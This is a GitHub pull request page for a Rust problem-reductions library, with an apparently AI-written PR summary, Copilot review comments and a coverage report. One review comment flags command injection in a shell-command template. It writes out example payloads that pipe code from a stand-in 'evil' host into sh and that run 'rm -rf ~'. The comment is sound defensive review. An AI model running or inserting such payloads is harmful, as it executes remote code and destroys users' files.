Fix complexity inconsistencies, enforce overhead, add missing variants

[GiggleLiu]

Summary

• Make overhead mandatory in #[reduction] proc macro — missing overhead now produces a compile error instead of silently defaulting to empty
• Fix 11 complexity strings in declare_variants! to match paper ground truth (best known algorithms instead of naive brute-force bounds)
• Add declare_variants! to 3 models that were missing it: BicliqueCover, BMF, PaintShop

Test plan

• make test — all 1526 tests pass
• make clippy — no warnings
• make rust-export — regenerated successfully

🤖 Generated with Claude Code

[Copilot]

Pull request overview

This PR tightens reduction metadata correctness by making #[reduction] overhead explicit, aligning declared variant complexities with the paper’s stated best-known bounds, and ensuring missing models participate in the variant registry used by the reduction graph/documentation pipeline.

Changes:

• Enforce overhead = { ... } as a required argument to the #[reduction] proc macro (missing overhead becomes a compile error).
• Update multiple declare_variants! complexity strings to reflect best-known algorithms (and adjust the unit test accordingly).
• Add missing declare_variants! registrations for BicliqueCover, BMF, and PaintShop, and extend paper references/text accordingly.

Reviewed changes

Copilot reviewed 18 out of 18 changed files in this pull request and generated 2 comments.

Show a summary per file

File	Description
src/unit_tests/rules/graph.rs	Updates expected complexity string for MIS default variant.
src/models/specialized/paintshop.rs	Adds declare_variants! entry for PaintShop.
src/models/specialized/factoring.rs	Updates Factoring complexity string.
src/models/specialized/bmf.rs	Adds declare_variants! entry for BMF.
src/models/specialized/biclique_cover.rs	Adds declare_variants! entry for BicliqueCover.
src/models/satisfiability/ksat.rs	Updates K3 SAT complexity string.
src/models/optimization/ilp.rs	Updates ILP complexity string.
src/models/optimization/closest_vector_problem.rs	Updates CVP complexity strings.
src/models/graph/traveling_salesman.rs	Updates TSP complexity string.
src/models/graph/minimum_vertex_cover.rs	Updates MVC complexity string.
src/models/graph/minimum_dominating_set.rs	Updates MDS complexity string.
src/models/graph/maximum_independent_set.rs	Updates MIS complexity strings across graph variants.
src/models/graph/maximum_clique.rs	Updates Maximum Clique complexity string.
src/models/graph/maximal_is.rs	Updates maximal IS enumeration complexity string.
src/models/graph/max_cut.rs	Updates MaxCut complexity string.
problemreductions-macros/src/lib.rs	Makes overhead mandatory for #[reduction] and emits an error if missing.
docs/paper/references.bib	Adds a new bibliographic reference (alber2004).
docs/paper/reductions.typ	Extends MIS discussion to cite geometric separation results and new reference.

---

💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.

[Copilot]

The new BibTeX entry uses LaTeX accent escapes in the author field (e.g., Ji\v{r}\'{\i}), while the rest of references.bib appears to use plain text. Typst/Bib parsers often don't fully expand LaTeX macros, which can lead to incorrect rendering in the compiled paper. Consider replacing the escapes with the actual Unicode characters (e.g., "Jiří Fiala") to ensure consistent bibliography output.

[Copilot]

The compile error text for missing overhead is a bit ambiguous: it says "requires overhead = { ... }" but the actual syntax is #[reduction(overhead = { ... })]. It may be clearer to include the full attribute form (and/or a short example), so users immediately know what to paste when they hit this error.

Suggested change

	"#[reduction] requires overhead = { ... }. Specify overhead expressions for all target problem size fields.",
	"Missing overhead specification. Use #[reduction(overhead = { ... })] and specify overhead expressions for all target problem size fields.",

[codecov]

Codecov Report

✅ All modified and coverable lines are covered by tests.
✅ Project coverage is 96.89%. Comparing base (9ad1678) to head (e028261).

Additional details and impacted files

@@           Coverage Diff           @@
##             main     #112   +/-   ##
=======================================
  Coverage   96.89%   96.89%           
=======================================
  Files         200      200           
  Lines       27099    27099           
=======================================
  Hits        26258    26258           
  Misses        841      841           

☔ View full report in Codecov by Sentry.
📢 Have feedback on the report? Share it here.

🚀 New features to boost your workflow:

• ❄️ Test Analytics: Detect flaky tests, report on failures, and find test suite problems.

[Copilot]

Pull request overview

Copilot reviewed 31 out of 31 changed files in this pull request and generated 3 comments.

Comments suppressed due to low confidence (1)

.claude/skills/issue-to-pr/SKILL.md:107

• The shell commands building git commit and gh pr create arguments interpolate the GitHub issue title (<title>) directly into double-quoted strings, which allows command injection if an attacker opens an issue with a crafted title containing shell metacharacters (e.g., $(curl https://evil | sh) or "; rm -rf ~; echo "). When /issue-to-pr is run on such an issue and this template is followed literally, the generated command line will execute the injected payload on the developer/automation host. To fix this, ensure the issue title is safely escaped or passed via a variable (or --file input) rather than inlined into the shell command, and strip or neutralize shell metacharacters before constructing any command that includes user-controlled text.

# Create branch (from main)
git checkout main
git checkout -b issue-<number>-<slug>

# Stage the plan file
git add docs/plans/<plan-file>.md

# Commit
git commit -m "Add plan for #<number>: <title>"

# Push
git push -u origin issue-<number>-<slug>

# Create PR
gh pr create --title "Fix #<number>: <title>" --body "
## Summary
<Brief description>

Closes #<number>"

---

💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.

[Copilot]

The new Factoring complexity string references num_bits, but this model doesn’t define a num_bits() getter (it has m()/n() and num_bits_first()/num_bits_second()). This makes the complexity metadata inconsistent with the model’s size parameters and can be confusing/misleading in the exported docs. Consider expressing the bit-length in terms of existing fields (e.g., m + n, or num_bits_first + num_bits_second) or adding a num_bits() helper that matches the complexity expression.

Suggested change

	Factoring => "exp(num_bits^(1/3) * log(num_bits)^(2/3))",
	Factoring => "exp((m + n)^(1/3) * log(m + n)^(2/3))",

[Copilot]

The regex alternation here uses an unescaped |, but the same checklist uses escaped alternation (\|) in other Grep patterns below. If the Grep tool is using basic regex, this pattern will match the literal | instead of acting as alternation, causing the checklist to miss valid impls. Use a consistent regex style (e.g., OptimizationProblem\|SatisfactionProblem for basic regex, or switch all alternations to unescaped | if Grep is extended regex).

Suggested change

	| 5 | `OptimizationProblem` or `SatisfactionProblem` impl | `Grep("(OptimizationProblem|SatisfactionProblem).*for.*{P}", file)` |
	| 5 | `OptimizationProblem` or `SatisfactionProblem` impl | `Grep("(OptimizationProblem\|SatisfactionProblem).*for.*{P}", file)` |

[Copilot]

The pre-flight checks say to git checkout issue-<number>-<slug> without -b if the branch already exists, but the example snippet always runs git checkout -b issue-<number>-<slug>, which will fail on retries. Consider updating the snippet to reflect the conditional logic (or show both commands in an if/else).